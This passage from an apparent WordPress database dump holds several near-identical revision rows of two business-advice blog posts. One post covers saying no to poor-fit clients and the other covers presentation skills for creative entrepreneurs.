taker with no power in the buying cycle. You only provide your high-value solutions when you are paid for it. Worse, when you participate in these pitches, you are doing a terrible disservice to your paying clients by agreeing to do free work for others while they pay your bills. Indeed–bad karma.\r\n\r\n<strong>Value Creators have no problem saying no.</strong>\r\nIt’s of strategic importance that you learn to assess opportunity appropriately by saying no early and often in your business development conversations. Respectfully and professionally pass on opportunity that for any reason you believe is not a good solid fit between you and the client.  Refuse any business opportunity that does not represent an opportunity for you and your team to add to the growth and success of all concerned.\r\n\r\nThis is difficult for sure. As I said earlier in the post, I struggled with this for years. It was very difficult to refuse business when you have a big payroll to meet every week. If you want to  attract new and higher value clients to your business, you have to be choosy. Run fast in the other direction and trust the void will be filled by something much better. Nature abhors a vacuum.\r\n\r\n<strong>Put your focus on developing relationships with only those client’s who see you and your team as having the potential to represent a  “trusted advisor / value creator” status in solving their problems. You must position yourself as a facilitator of valuable business outcomes, not a deliverer of stuff.</strong>', 'Just say no: Scenarios where you should run from a client opportunity.', 0, '', 'inherit', 'open', 'open', '', '2183-revision-5', '', '', '2012-10-20 09:47:08', '2012-10-20 16:47:08', '', 2183, 'http://www.whitehotcenter.com/2012/10/2183-revision-5/', 0, 'revision', '', 0),
(2190, 2, '2012-10-20 09:48:56', '2012-10-20 16:48:56', '<img class="alignnone size-full wp-image-2184" title="Be choosy!" src="http://whc.fbdev.org/wp-content/uploads/2012/10/just-say-no.jpg" alt="" width="495" height="427" />\r\n<h1>In an era where keeping clients happy and finding new ones is harder than ever, it’s difficult for early stage entrepreneurs to say “no” to clients who aren’t a good fit. It’s imperative to learn how to assess, early in your sales conversations, which opportunities are a good fit for you and which ones to pass on.</h1>\r\nIt’s such a simple and powerful word with only two letters. Why is saying “no” such a difficult thing for early stage creative entrepreneurs to master? Simple– many don’t want to miss out on any opportunity to generate cash.\r\n\r\nHere’s an important principle I’ve learned from my own experience, and studying the habits of successful entrepreneurs who are brilliant at assessing their best opportunities to do the work that matters to them, serving the right clients who appreciate (pay extra for) the value of their expertise:\r\n<h2><strong>The more selective you are, the more cash will show up in your business!</strong></h2>\r\n<strong></strong>I’m sure some of you are thinking that sounds like a bullshit idea. I admit, after meeting a demanding payroll in my own business, the cynic in me struggles with this one too. After all, some cash is better than no cash, right? Wrong! No cash is worth the steep karmic price paid when you find yourself in these scary scenarios:\r\n\r\n<strong>The “Switcheru” Scenario</strong>\r\n<em>A new executive comes in and completely takes over the agenda of your high value work and shifts the course mid-stream without consulting you. The new executive has been hired to change current circumstances and perceives you and your team as part of the current circumstances. The new boss is under extreme pressure to deliver greater results, more quickly and cheaper. The project is back to square one. You’re asked to prepare another proposal for the gig you thought you had. You’ve been invited to a meeting (with five other competitors) to be briefed on the new vision which is peppered with lots of new business opportunities reserved for those who will “play ball” with the new boss.</em>\r\n\r\nIf it happens to you, run the other way. Here’s why.\r\n\r\nThe new boss perceives you and your competitors as easily replaceable “implementers”– cogs rather than linchpins. Your strategic and high value expertise is neither valued nor desired. Whoever can do the implementing faster and cheaper with step-to-the-music compliance to the new agenda will most likely get the gig.\r\n\r\nYour chances of winning the business will be small, but your investment in time to sell it in again will be big. Even if you win the business, you will be working for a cheap fee that will, at best, contribute only to your overhead. It won’t be profitable, and you will feel powerless and marginalized in the process. You and your team won’t be inspired to do your best work, making the whole deal seem meaningless–finally confirming the original suspicions of the new boss you were lame to begin with.\r\n\r\n<strong>The “show us your ideas” Scenario.</strong>\r\nA prospective client invites you to present your capabilities for consideration of a project and sends you an RFP. As you pour over the particulars, you’re delighted to learn that this opportunity represents a sizable chunk of business that you know you and your team are just perfect for.  However, as you investigate further, you realize that the client is asking you (and your competitors) to “show us ideas” as a value component to fulfilling the requirements of their RFP. It’s a winner take all shootout.\r\n\r\nIf this happens to you, run the other way! Here’s why:\r\n\r\nAny potential client that asks you to audition for their business by expecting you to give away your high-value ideas without compensation is a client who doesn’t value your ideas or you for that matter.\r\n\r\nNever, ever, ever give away your high value product for free as proof of your worthiness to meet the client’s needs. You will always and forever be typecast as a low value order- taker with no power in the buying cycle. You only provide your high-value solutions when you are paid for it. Worse, when you participate in these pitches, you are doing a terrible disservice to your paying clients by agreeing to do free work for others while they pay your bills. Indeed–bad karma.\r\n\r\n<strong>Value Creators have no problem saying no.</strong>\r\nIt’s of strategic importance that you learn to assess opportunity appropriately by saying no early and often in your business development conversations. Respectfully and professionally pass on opportunity that for any reason you believe is not a good solid fit between you and the client.  Refuse any business opportunity that does not represent an opportunity for you and your team to add to the growth and success of all concerned.\r\n\r\nThis is difficult for sure. As I said earlier in the post, I struggled with this for years. It was very difficult to refuse business when you have a big payroll to meet every week. If you want to  attract new and higher value clients to your business, you have to be choosy. Run fast in the other direction and trust the void will be filled by something much better. Nature abhors a vacuum.\r\n\r\n<strong>Put your focus on developing relationships with only those client’s who see you and your team as having the potential to represent a  “trusted advisor / value creator” status in solving their problems. You must position yourself as a facilitator of valuable business outcomes, not a deliverer of stuff.</strong>', 'Just say no: Scenarios where you should run from a client opportunity.', 0, '', 'inherit', 'open', 'open', '', '2183-revision-6', '', '', '2012-10-20 09:48:56', '2012-10-20 16:48:56', '', 2183, 'http://www.whitehotcenter.com/2012/10/2183-revision-6/', 0, 'revision', '', 0),
(2191, 2, '2012-10-20 09:49:05', '2012-10-20 16:49:05', '<img class="alignnone size-full wp-image-2184" title="Be choosy!" src="http://whc.fbdev.org/wp-content/uploads/2012/10/just-say-no.jpg" alt="" width="495" height="427" />\r\n<h1>In an era where keeping clients happy and finding new ones is harder than ever, it’s difficult for early stage entrepreneurs to say “no” to clients who aren’t a good fit. It’s imperative to learn how to assess, early in your sales conversations, which opportunities are a good fit for you and which ones to pass on.</h1>\r\nIt’s such a simple and powerful word with only two letters. Why is saying “no” such a difficult thing for early stage creative entrepreneurs to master? Simple– many don’t want to miss out on any opportunity to generate cash.\r\n\r\nHere’s an important principle I’ve learned from my own experience, and studying the habits of successful entrepreneurs who are brilliant at assessing their best opportunities to do the work that matters to them, serving the right clients who appreciate (pay extra for) the value of their expertise:\r\n<h2><strong>The more selective you are, the more cash will show up in your business!</strong></h2>\r\n<strong></strong>I’m sure some of you are thinking that sounds like a bullshit idea. I admit, after meeting a demanding payroll in my own business, the cynic in me struggles with this one too. After all, some cash is better than no cash, right? Wrong! No cash is worth the steep karmic price paid when you find yourself in these scary scenarios:\r\n\r\n<strong>The “Switcheru” Scenario</strong>\r\n<em>A new executive comes in and completely takes over the agenda of your high value work and shifts the course mid-stream without consulting you. The new executive has been hired to change current circumstances and perceives you and your team as part of the current circumstances. The new boss is under extreme pressure to deliver greater results, more quickly and cheaper. The project is back to square one. You’re asked to prepare another proposal for the gig you thought you had. You’ve been invited to a meeting (with five other competitors) to be briefed on the new vision which is peppered with lots of new business opportunities reserved for those who will “play ball” with the new boss.</em>\r\n\r\nIf it happens to you, run the other way. Here’s why.\r\n\r\nThe new boss perceives you and your competitors as easily replaceable “implementers”– cogs rather than linchpins. Your strategic and high value expertise is neither valued nor desired. Whoever can do the implementing faster and cheaper with step-to-the-music compliance to the new agenda will most likely get the gig.\r\n\r\nYour chances of winning the business will be small, but your investment in time to sell it in again will be big. Even if you win the business, you will be working for a cheap fee that will, at best, contribute only to your overhead. It won’t be profitable, and you will feel powerless and marginalized in the process. You and your team won’t be inspired to do your best work, making the whole deal seem meaningless–finally confirming the original suspicions of the new boss you were lame to begin with.\r\n\r\n<strong>The “show us your ideas” Scenario.</strong>\r\nA prospective client invites you to present your capabilities for consideration of a project and sends you an RFP. As you pour over the particulars, you’re delighted to learn that this opportunity represents a sizable chunk of business that you know you and your team are just perfect for.  However, as you investigate further, you realize that the client is asking you (and your competitors) to “show us ideas” as a value component to fulfilling the requirements of their RFP. It’s a winner take all shootout.\r\n\r\nIf this happens to you, run the other way! Here’s why:\r\n\r\nAny potential client that asks you to audition for their business by expecting you to give away your high-value ideas without compensation is a client who doesn’t value your ideas or you for that matter.\r\n\r\nNever, ever, ever give away your high value product for free as proof of your worthiness to meet the client’s needs. You will always and forever be typecast as a low value order- taker with no power in the buying cycle. You only provide your high-value solutions when you are paid for it. Worse, when you participate in these pitches, you are doing a terrible disservice to your paying clients by agreeing to do free work for others while they pay your bills. Indeed–bad karma.\r\n\r\n<strong>Value Creators have no problem saying no.</strong>\r\nIt’s of strategic importance that you learn to assess opportunity appropriately by saying no early and often in your business development conversations. Respectfully and professionally pass on opportunity that for any reason you believe is not a good solid fit between you and the client.  Refuse any business opportunity that does not represent an opportunity for you and your team to add to the growth and success of all concerned.\r\n\r\nThis is difficult for sure. As I said earlier in the post, I struggled with this for years. It was very difficult to refuse business when you have a big payroll to meet every week. If you want to  attract new and higher value clients to your business, you have to be choosy. Run fast in the other direction and trust the void will be filled by something much better. Nature abhors a vacuum.\r\n\r\n<strong>Put your focus on developing relationships with only those client’s who see you and your team as having the potential to represent a  “trusted advisor / value creator” status in solving their problems. You must position yourself as a facilitator of valuable business outcomes, not a deliverer of stuff.</strong>', 'Just say no: Scenarios where you should run from a client opportunity.', 0, '', 'inherit', 'open', 'open', '', '2183-revision-7', '', '', '2012-10-20 09:49:05', '2012-10-20 16:49:05', '', 2183, 'http://www.whitehotcenter.com/2012/10/2183-revision-7/', 0, 'revision', '', 0);
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(2192, 2, '2012-10-20 09:50:10', '2012-10-20 16:50:10', '<img class="alignnone size-full wp-image-2184" title="Be choosy!" src="http://whc.fbdev.org/wp-content/uploads/2012/10/just-say-no.jpg" alt="" width="495" height="427" />\r\n<h1>In an era where keeping clients happy and finding new ones is harder than ever, it’s difficult for early stage entrepreneurs to say “no” to clients who aren’t a good fit. It’s imperative to learn how to assess, early in your sales conversations, which opportunities are a good fit for you and which ones to pass on.</h1>\r\nIt’s such a simple and powerful word with only two letters. Why is saying “no” such a difficult thing for early stage creative entrepreneurs to master? Simple– many don’t want to miss out on any opportunity to generate cash.\r\n\r\nHere’s an important principle I’ve learned from my own experience, and studying the habits of successful entrepreneurs who are brilliant at assessing their best opportunities to do the work that matters to them, serving the right clients who appreciate (pay extra for) the value of their expertise:\r\n<h2><strong>The more selective you are, the more cash will show up in your business!</strong></h2>\r\n<strong></strong>I’m sure some of you are thinking that sounds like a bullshit idea. I admit, after meeting a demanding payroll in my own business, the cynic in me struggles with this one too. After all, some cash is better than no cash, right? Wrong! No cash is worth the steep karmic price paid when you find yourself in these scary scenarios:\r\n\r\n<strong>The “Switcheru” Scenario</strong>\r\n<em>A new executive comes in and completely takes over the agenda of your high value work and shifts the course mid-stream without consulting you. The new executive has been hired to change current circumstances and perceives you and your team as part of the current circumstances. The new boss is under extreme pressure to deliver greater results, more quickly and cheaper. The project is back to square one. You’re asked to prepare another proposal for the gig you thought you had. You’ve been invited to a meeting (with five other competitors) to be briefed on the new vision which is peppered with lots of new business opportunities reserved for those who will “play ball” with the new boss.</em>\r\n\r\nIf it happens to you, run the other way. Here’s why.\r\n\r\nThe new boss perceives you and your competitors as easily replaceable “implementers”– cogs rather than linchpins. Your strategic and high value expertise is neither valued nor desired. Whoever can do the implementing faster and cheaper with step-to-the-music compliance to the new agenda will most likely get the gig.\r\n\r\nYour chances of winning the business will be small, but your investment in time to sell it in again will be big. Even if you win the business, you will be working for a cheap fee that will, at best, contribute only to your overhead. It won’t be profitable, and you will feel powerless and marginalized in the process. You and your team won’t be inspired to do your best work, making the whole deal seem meaningless–finally confirming the original suspicions of the new boss you were lame to begin with.\r\n\r\n<strong>The “show us your ideas” Scenario.</strong>\r\nA prospective client invites you to present your capabilities for consideration of a project and sends you an RFP. As you pour over the particulars, you’re delighted to learn that this opportunity represents a sizable chunk of business that you know you and your team are just perfect for.  However, as you investigate further, you realize that the client is asking you (and your competitors) to “show us ideas” as a value component to fulfilling the requirements of their RFP. It’s a winner take all shootout.\r\n\r\nIf this happens to you, run the other way! Here’s why:\r\n\r\nAny potential client that asks you to audition for their business by expecting you to give away your high-value ideas without compensation is a client who doesn’t value your ideas or you for that matter.\r\n\r\nNever, ever, ever give away your high value product for free as proof of your worthiness to meet the client’s needs. You will always and forever be typecast as a low value order- taker with no power in the buying cycle. You only provide your high-value solutions when you are paid for it. Worse, when you participate in these pitches, you are doing a terrible disservice to your paying clients by agreeing to do free work for others while they pay your bills. Indeed–bad karma.\r\n\r\n<strong>Value Creators have no problem saying no.</strong>\r\nIt’s of strategic importance that you learn to assess opportunity appropriately by saying no early and often in your business development conversations. Respectfully and professionally pass on opportunity that for any reason you believe is not a good solid fit between you and the client.  Refuse any business opportunity that does not represent an opportunity for you and your team to add to the growth and success of all concerned.\r\n\r\nThis is difficult for sure. As I said earlier in the post, I struggled with this for years. It was very difficult to refuse business when you have a big payroll to meet every week. If you want to  attract new and higher value clients to your business, you have to be choosy. Run fast in the other direction and trust the void will be filled by something much better. Nature abhors a vacuum.\r\n\r\n<strong>Put your focus on developing relationships with only those client’s who see you and your team as having the potential to represent a  “trusted advisor / value creator” status in solving their problems. You must position yourself as a facilitator of valuable business outcomes, not a deliverer of stuff.</strong>', 'Just say no: Scenarios where you should run from a client opportunity.', 0, '', 'inherit', 'open', 'open', '', '2183-revision-8', '', '', '2012-10-20 09:50:10', '2012-10-20 16:50:10', '', 2183, 'http://www.whitehotcenter.com/2012/10/2183-revision-8/', 0, 'revision', '', 0),
(2194, 2, '2012-10-31 16:30:57', '2012-10-31 23:30:57', '<img class="alignnone size-full wp-image-2195" title="presentation-skills" src="http://whc.fbdev.org/wp-content/uploads/2012/10/presentation-skills.jpg" alt="" width="495" height="319" />\r\n<h1><span style="color: #808080;">Marketing and business development is a critical on-going activity for every business. For those creative entrepreneurs marketing their professional services, there’s one skill, above all others that’s critical to your success–presenting to prospects!</span></h1>\r\nYou already know that marketing and business development is a complex activity involving many strategies and tactics to find and close new business.  It can takes years of hard work before your efforts bear any fruit. You need lots of knowledge and skill to be an effective marketer.\r\n\r\nFor starters, you need a vision and plan, and you need to be visible in the marketplace. Prospects need to know about your expertise. You need to skillfully position your expertise in a manner that sets you apart from others in the marketplace, and enables you to build your brand. You need to be doing all these things and more continuously.\r\n\r\nOf course the point of all this effort is to create an opportunity to have sales conversations with prospective buyers!  And if you’re going to go through all the difficult work of generating new business conversations, you need to be an effective and compelling presenter once you get in front of a buyer!\r\n\r\nThis one skill alone is more important to your business success than direct mail, advertising, you’re pricing, even your talent and delivery of services. If you can’t close business, no other skill or capability in your business matters.\r\n\r\n<strong>You can learn to be an effective presenter.</strong>\r\nIf you struggle with presenting your capabilities, take heart you can learn to be awesome. Like learning any new skill, at first you’ll feel awkward. But after some practice, and maybe some coaching from colleagues, or better yet from someone who is an expert at presenting, you can learn how to effectively present yourself physically in your appearance and body language, and verbally in your speaking.\r\n\r\nI’ve always enjoyed getting in front of an audience. Early on I was a performing musician and singer. Later when I was running my design firm, presenting ideas was always a natural thing for me. And I thought I was pretty good at it.\r\n\r\nBut when I began public speaking, I had myself video taped during one of my first talks and I was horrified by what I saw!  I never smiled!  As I was watching myself, I thought, “this dude doesn’t smile” he looks so intense”. And what’s up with the twitching and touching my face?  I sucked! Then I thought “is that how I presented myself in all those years of client presentations”?  Is that why I didn’t get hired when I knew our firm was perfect for the gig?  It was a powerful learning experience for me. From there I got serious about elevating my own skill levels as a presenter.\r\n\r\nNow, I realize how important a simple smile is to connecting with a person in a business conversation. Before meeting a new client or speaking to a group, I always tell myself –SMILE!\r\n\r\n<strong>You have less than 30 seconds.</strong>\r\nYou’ve probably heard the cliché expression you never get a second chance to make a good first impression. Well, it’s more profound than that. You don’t get much time either. People make up their mind quickly. You have roughly 30 seconds to connect with someone on a level that builds enough trust and confidence for him or her to give you the time of day to present yourself and the value you can bring to the prospective client. If they have confidence in you, chances are they’ll buy from you.\r\n\r\nStart by doing what all great presenters do–smile. Stand straight, look the person straight in the eyes (the window to the soul), speak clearly and in a confident voice. When you begin your presentation, get to the point quickly. Don’t blather on and on. Then allow the prospect room to speak and engage.\r\n\r\n<strong>Leave the prospect with only one thing to remember.</strong>\r\nIn a sales conversation, you leave the prospect with one clear takeaway. Just one. This is what you want the prospective client to remember most about you and the value you provide. However, the one thing is not about you, it’s about them. The one thing is about the benefit your prospect will receive by doing business with you. If you want to connect, make your one thing about how your services will provide a valuable business outcome that will make them more successful.\r\n\r\nYou can learn the skills to become a great presenter. Rehearse your presentation with colleagues, in front of a mirror, or video camera.  Seek a coach. Smile and hold a confident vibe. Lead your presentation with your one compelling benefit, build on it, demonstrate it, and then close with it.\r\n<h2>Always package your one thing as a compelling benefit to the client. Being an effective and compelling presenter is the single most important business development skill you must master. When you do, your opportunities will always exceed your capacity.</h2>', 'The most critical business development skill you must master.', 0, '', 'publish', 'open', 'open', '', 'the-most-critical-business-development-skill-you-must-master', '', '', '2012-10-31 16:30:58', '2012-10-31 23:30:58', '', 0, 'http://www.whitehotcenter.com/?p=2194', 0, 'post', '', 1),
(2195, 2, '2012-10-31 15:30:14', '2012-10-31 22:30:14', '', 'presentation-skills', 0, '', 'inherit', 'open', 'open', '', 'presentation-skills', '', '', '2012-10-31 15:30:14', '2012-10-31 22:30:14', '', 2194, 'http://www.whitehotcenter.com/wp-content/uploads/2012/10/presentation-skills.jpg', 0, 'attachment', 'image/jpeg', 0),
(2196, 2, '2012-10-31 15:34:20', '2012-10-31 22:34:20', '<img class="alignnone size-full wp-image-2195" title="presentation-skills" src="http://whc.fbdev.org/wp-content/uploads/2012/10/presentation-skills.jpg" alt="" width="495" height="319" />\n<h1><span style="color: #808080;">Marketing and business development is a critical on-going activity in any business. For those creative entrepreneurs marketing their professional services, there’s one skill, above all others that’s critical to your success–presenting to prospects!</span></h1>\nYou already know that marketing and business development is a complex activity involving many strategies and tactics to find and close new business.  It can takes years of hard work before your efforts bear any fruit. You need lots of knowledge and skill to be an effective marketer.\n\nFor starters, you need a vision and plan, and you need to be visible in the marketplace. Prospects need to know about your expertise. You need to skillfully position your expertise in a manner that sets you apart from others in the marketplace, and enables you to build your brand. You need to be doing all these things and more continuously.\n\nOf course the point of all this effort is to create an opportunity to have sales conversations with prospective buyers!  And if you’re going to go through all the difficult work of generating new business conversations, you need to be an effective and compelling presenter once you get in front of a buyer!\n\nThis one skill alone is more important to your marketing success than direct mail, advertising, you’re pricing, even your talent and delivery of services. If you can’t close business, no other skill or capability in your business matters.\n\n<strong>You can learn to be an effective presenter.</strong>\nIf you struggle with presenting your capabilities, take heart you can learn to be awesome. Like learning any new skill, at first you’ll feel awkward. But after some practice and maybe some coaching from colleagues, or better yet from someone who is an expert at presenting. You can learn how to effectively present yourself physically in your appearance and body language, and verbally in your speaking.\n\nI’ve always enjoyed getting in front of an audience. Early on I was a performing musician and singer. Later when I was running my design firm, presenting ideas was always a natural thing for me. And I thought I was pretty good at it.\n\nBut when I began public speaking, I had myself video taped during one of my first talks and I was horrified by what I saw!  I never smiled!  As I was watching myself, I thought, “this dude doesn’t smile” he looks so intense”. And what’s up with the twitching and touching my face?  I sucked! Then I thought “is that how I presented myself in all those years of client presentations”?  Is that why I didn’t get hired when I knew we were perfect for the gig?  It was a powerful learning experience for me. From there I got serious about my own skill levels.\n\nNow, I realize how important a simple smile is to connecting with a person in a business conversation. Before meeting a new client or speaking to a group, I always tell myself –smile!\n\n<strong>You have less than 30 seconds.</strong>\nYou’ve probably heard the cliché expression you never get a second chance to make a good first impression. Well, it’s more profound than that. You don’t get much time either. People make up their mind quickly. You have roughly 30 seconds to connect with someone on a level that builds enough trust and confidence for him or her to give you the time of day to present yourself and the value you can bring to the prospective client. If they have confidence in you, chances are they’ll buy from you.\n\nStart by doing what all great presenters do–smile. Stand straight, look the person straight in the eyes (the window to the soul), speak clearly and in a confident voice. When you begin your presentation, get to the point quickly. Don’t blather on and on. Then allow the prospect room to speak and engage.\n\n<strong>Leave the prospect with only one thing to remember.</strong>\nIn a sales conversation, you leave the prospect with one clear takeaway. Just one. This is what you want the prospective client to remember most about you and the value you provide. However, the one thing is not about you, it’s about them. The one thing is about the benefit your prospect will receive by doing business with you. If you want to connect, make your one thing about how your services will provide a valuable business outcome that will make them more successful.\n\nYou can learn the skills to become a great presenter. Rehearse your presentation with colleagues, in front of a mirror, or video camera.  Seek a coach. Smile and hold a confident vibe. Lead your presentation with your one compelling benefit, build on it, demonstrate it, and then close with it.\n\nAlways package your one thing as a compelling benefit to the client. Being an effective and compelling presenter is the single most important business development skill you must master. When you do, your opportunities will always exceed your capacity.', 'The most critical business development skill you must master.', 0, '', 'inherit', 'open', 'open', '', '2194-revision', '', '', '2012-10-31 15:34:20', '2012-10-31 22:34:20', '', 2194, 'http://www.whitehotcenter.com/2012/10/2194-revision/', 0, 'revision', '', 0),
(2197, 2, '2012-10-31 15:35:46', '2012-10-31 22:35:46', '<img class="alignnone size-full wp-image-2195" title="presentation-skills" src="http://whc.fbdev.org/wp-content/uploads/2012/10/presentation-skills.jpg" alt="" width="495" height="319" />\n<h1><span style="color: #808080;">Marketing and business development is a critical on-going activity in any business. For those creative entrepreneurs marketing their professional services, there’s one skill, above all others that’s critical to your success–presenting to prospects!</span></h1>\nYou already know that marketing and business development is a complex activity involving many strategies and tactics to find and close new business.  It can takes years of hard work before your efforts bear any fruit. You need lots of knowledge and skill to be an effective marketer.\n\nFor starters, you need a vision and plan, and you need to be visible in the marketplace. Prospects need to know about your expertise. You need to skillfully position your expertise in a manner that sets you apart from others in the marketplace, and enables you to build your brand. You need to be doing all these things and more continuously.\n\nOf course the point of all this effort is to create an opportunity to have sales conversations with prospective buyers!  And if you’re going to go through all the difficult work of generating new business conversations, you need to be an effective and compelling presenter once you get in front of a buyer!\n\nThis one skill alone is more important to your marketing success than direct mail, advertising, you’re pricing, even your talent and delivery of services. If you can’t close business, no other skill or capability in your business matters.\n\n<strong>You can learn to be an effective presenter.</strong>\nIf you struggle with presenting your capabilities, take heart you can learn to be awesome. Like learning any new skill, at first you’ll feel awkward. But after some practice and maybe some coaching from colleagues, or better yet from someone who is an expert at presenting. You can learn how to effectively present yourself physically in your appearance and body language, and verbally in your speaking.\n\nI’ve always enjoyed getting in front of an audience. Early on I was a performing musician and singer. Later when I was running my design firm, presenting ideas was always a natural thing for me. And I thought I was pretty good at it.\n\nBut when I began public speaking, I had myself video taped during one of my first talks and I was horrified by what I saw!  I never smiled!  As I was watching myself, I thought, “this dude doesn’t smile” he looks so intense”. And what’s up with the twitching and touching my face?  I sucked! Then I thought “is that how I presented myself in all those years of client presentations”?  Is that why I didn’t get hired when I knew we were perfect for the gig?  It was a powerful learning experience for me. From there I got serious about my own skill levels.\n\nNow, I realize how important a simple smile is to connecting with a person in a business conversation. Before meeting a new client or speaking to a group, I always tell myself –smile!\n\n<strong>You have less than 30 seconds.</strong>\nYou’ve probably heard the cliché expression you never get a second chance to make a good first impression. Well, it’s more profound than that. You don’t get much time either. People make up their mind quickly. You have roughly 30 seconds to connect with someone on a level that builds enough trust and confidence for him or her to give you the time of day to present yourself and the value you can bring to the prospective client. If they have confidence in you, chances are they’ll buy from you.\n\nStart by doing what all great presenters do–smile. Stand straight, look the person straight in the eyes (the window to the soul), speak clearly and in a confident voice. When you begin your presentation, get to the point quickly. Don’t blather on and on. Then allow the prospect room to speak and engage.\n\n<strong>Leave the prospect with only one thing to remember.</strong>\nIn a sales conversation, you leave the prospect with one clear takeaway. Just one. This is what you want the prospective client to remember most about you and the value you provide. However, the one thing is not about you, it’s about them. The one thing is about the benefit your prospect will receive by doing business with you. If you want to connect, make your one thing about how your services will provide a valuable business outcome that will make them more successful.\n\nYou can learn the skills to become a great presenter. Rehearse your presentation with colleagues, in front of a mirror, or video camera.  Seek a coach. Smile and hold a confident vibe. Lead your presentation with your one compelling benefit, build on it, demonstrate it, and then close with it.\n<h2>Always package your one thing as a compelling benefit to the client. Being an effective and compelling presenter is the single most important business development skill you must master. When you do, your opportunities will always exceed your capacity.</h2>', 'The most critical business development skill you must master.', 0, '', 'inherit', 'open', 'open', '', '2194-revision-2', '', '', '2012-10-31 15:35:46', '2012-10-31 22:35:46', '', 2194, 'http://www.whitehotcenter.com/2012/10/2194-revision-2/', 0, 'revision', '', 0),
(2198, 2, '2012-10-31 15:37:35', '2012-10-31 22:37:35', '<img class="alignnone size-full wp-image-2195" title="presentation-skills" src="http://whc.fbdev.org/wp-content/uploads/2012/10/presentation-skills.jpg" alt="" width="495" height="319" />\r\n<h1><span style="color: #808080;">Marketing and business development is a critical on-going activity in any business. For those creative entrepreneurs marketing their professional services, there’s one skill, above all others that’s critical to your success–presenting to prospects!</span></h1>\r\nYou already know that marketing and business development is a complex activity involving many strategies and tactics to find and close new business.  It can takes years of hard work before your efforts bear any fruit. You need lots of knowledge and skill to be an effective marketer.\r\n\r\nFor starters, you need a vision and plan, and you need to be visible in the marketplace. Prospects need to know about your expertise. You need to skillfully position your expertise in a manner that sets you apart from others in the marketplace, and enables you to build your brand. You need to be doing all these things and more continuously.\r\n\r\nOf course the point of all this effort is to create an opportunity to have sales conversations with prospective buyers!  And if you’re going to go through all the difficult work of generating new business conversations, you need to be an effective and compelling presenter once you get in front of a buyer!\r\n\r\nThis one skill alone is more important to your marketing success than direct mail, advertising, you’re pricing, even your talent and delivery of services. If you can’t close business, no other skill or capability in your business matters.\r\n\r\n<strong>You can learn to be an effective presenter.</strong>\r\nIf you struggle with presenting your capabilities, take heart you can learn to be awesome. Like learning any new skill, at first you’ll feel awkward. But after some practice and maybe some coaching from colleagues, or better yet from someone who is an expert at presenting. You can learn how to effectively present yourself physically in your appearance and body language, and verbally in your speaking.\r\n\r\nI’ve always enjoyed getting in front of an audience. Early on I was a performing musician and singer. Later when I was running my design firm, presenting ideas was always a natural thing for me. And I thought I was pretty good at it.\r\n\r\nBut when I began public speaking, I had myself video taped during one of my first talks and I was horrified by what I saw!  I never smiled!  As I was watching myself, I thought, “this dude doesn’t smile” he looks so intense”. And what’s up with the twitching and touching my face?  I sucked! Then I thought “is that how I presented myself in all those years of client presentations”?  Is that why I didn’t get hired when I knew we were perfect for the gig?  It was a powerful learning experience for me. From there I got serious about my own skill levels.\r\n\r\nNow, I realize how important a simple smile is to connecting with a person in a business conversation. Before meeting a new client or speaking to a group, I always tell myself –smile!\r\n\r\n<strong>You have less than 30 seconds.</strong>\r\nYou’ve probably heard the cliché expression you never get a second chance to make a good first impression. Well, it’s more profound than that. You don’t get much time either. People make up their mind quickly. You have roughly 30 seconds to connect with someone on a level that builds enough trust and confidence for him or her to give you the time of day to present yourself and the value you can bring to the prospective client. If they have confidence in you, chances are they’ll buy from you.\r\n\r\nStart by doing what all great presenters do–smile. Stand straight, look the person straight in the eyes (the window to the soul), speak clearly and in a confident voice. When you begin your presentation, get to the point quickly. Don’t blather on and on. Then allow the prospect room to speak and engage.\r\n\r\n<strong>Leave the prospect with only one thing to remember.</strong>\r\nIn a sales conversation, you leave the prospect with one clear takeaway. Just one. This is what you want the prospective client to remember most about you and the value you provide. However, the one thing is not about you, it’s about them. The one thing is about the benefit your prospect will receive by doing business with you. If you want to connect, make your one thing about how your services will provide a valuable business outcome that will make them more successful.\r\n\r\nYou can learn the skills to become a great presenter. Rehearse your presentation with colleagues, in front of a mirror, or video camera.  Seek a coach. Smile and hold a confident vibe. Lead your presentation with your one compelling benefit, build on it, demonstrate it, and then close with it.\r\n<h2>Always package your one thing as a compelling benefit to the client. Being an effective and compelling presenter is the single most important business development skill you must master. When you do, your opportunities will always exceed your capacity.</h2>', 'The most critical business development skill you must master.', 0, '', 'inherit', 'open', 'open', '', '2194-revision-3', '', '', '2012-10-31 15:37:35', '2012-10-31 22:37:35', '', 2194, 'http://www.whitehotcenter.com/2012/10/2194-revision-3/', 0, 'revision', '', 0),
(2199, 2, '2012-10-31 15:37:43', '2012-10-31 22:37:43', '<img class="alignnone size-full wp-image-2195" title="presentation-skills" src="http://whc.fbdev.org/wp-content/uploads/2012/10/presentation-skills.jpg" alt="" width="495" height="319" />\r\n<h1><span style="color: #808080;">Marketing and business development is a critical on-going activity in any business. For those creative entrepreneurs marketing their professional services, there’s one skill, above all others that’s critical to your success–presenting to prospects!</span></h1>\r\nYou already know that marketing and business development is a complex activity involving many strategies and tactics to find and close new business.  It can takes years of hard work before your efforts bear any fruit. You need lots of knowledge and skill to be an effective marketer.\r\n\r\nFor starters, you need a vision and plan, and you need to be visible in the marketplace. Prospects need to know about your expertise. You need to skillfully position your expertise in a manner that sets you apart from others in the marketplace, and enables you to build your brand. You need to be doing all these things and more continuously.\r\n\r\nOf course the point of all this effort is to create an opportunity to have sales conversations with prospective buyers!  And if you’re going to go through all the difficult work of generating new business conversations, you need to be an effective and compelling presenter once you get in front of a buyer!\r\n\r\nThis one skill alone is more important to your marketing success than direct mail, advertising, you’re pricing, even your talent and delivery of services. If you can’t close business, no other skill or capability in your business matters.\r\n\r\n<strong>You can learn to be an effective presenter.</strong>\r\nIf you struggle with presenting your capabilities, take heart you can learn to be awesome. Like learning any new skill, at first you’ll feel awkward. But after some practice and maybe some coaching from colleagues, or better yet from someone who is an expert at presenting. You can learn how to effectively present yourself physically in your appearance and body language, and verbally in your speaking.\r\n\r\nI’ve always enjoyed getting in front of an audience. Early on I was a performing musician and singer. Later when I was running my design firm, presenting ideas was always a natural thing for me. And I thought I was pretty good at it.\r\n\r\nBut when I began public speaking, I had myself video taped during one of my first talks and I was horrified by what I saw!  I never smiled!  As I was watching myself, I thought, “this dude doesn’t smile” he looks so intense”. And what’s up with the twitching and touching my face?  I sucked! Then I thought “is that how I presented myself in all those years of client presentations”?  Is that why I didn’t get hired when I knew we were perfect for the gig?  It was a powerful learning experience for me. From there I got serious about my own skill levels.\r\n\r\nNow, I realize how important a simple smile is to connecting with a person in a business conversation. Before meeting a new client or speaking to a group, I always tell myself –smile!\r\n\r\n<strong>You have less than 30 seconds.</strong>\r\nYou’ve probably heard the cliché expression you never get a second chance to make a good first 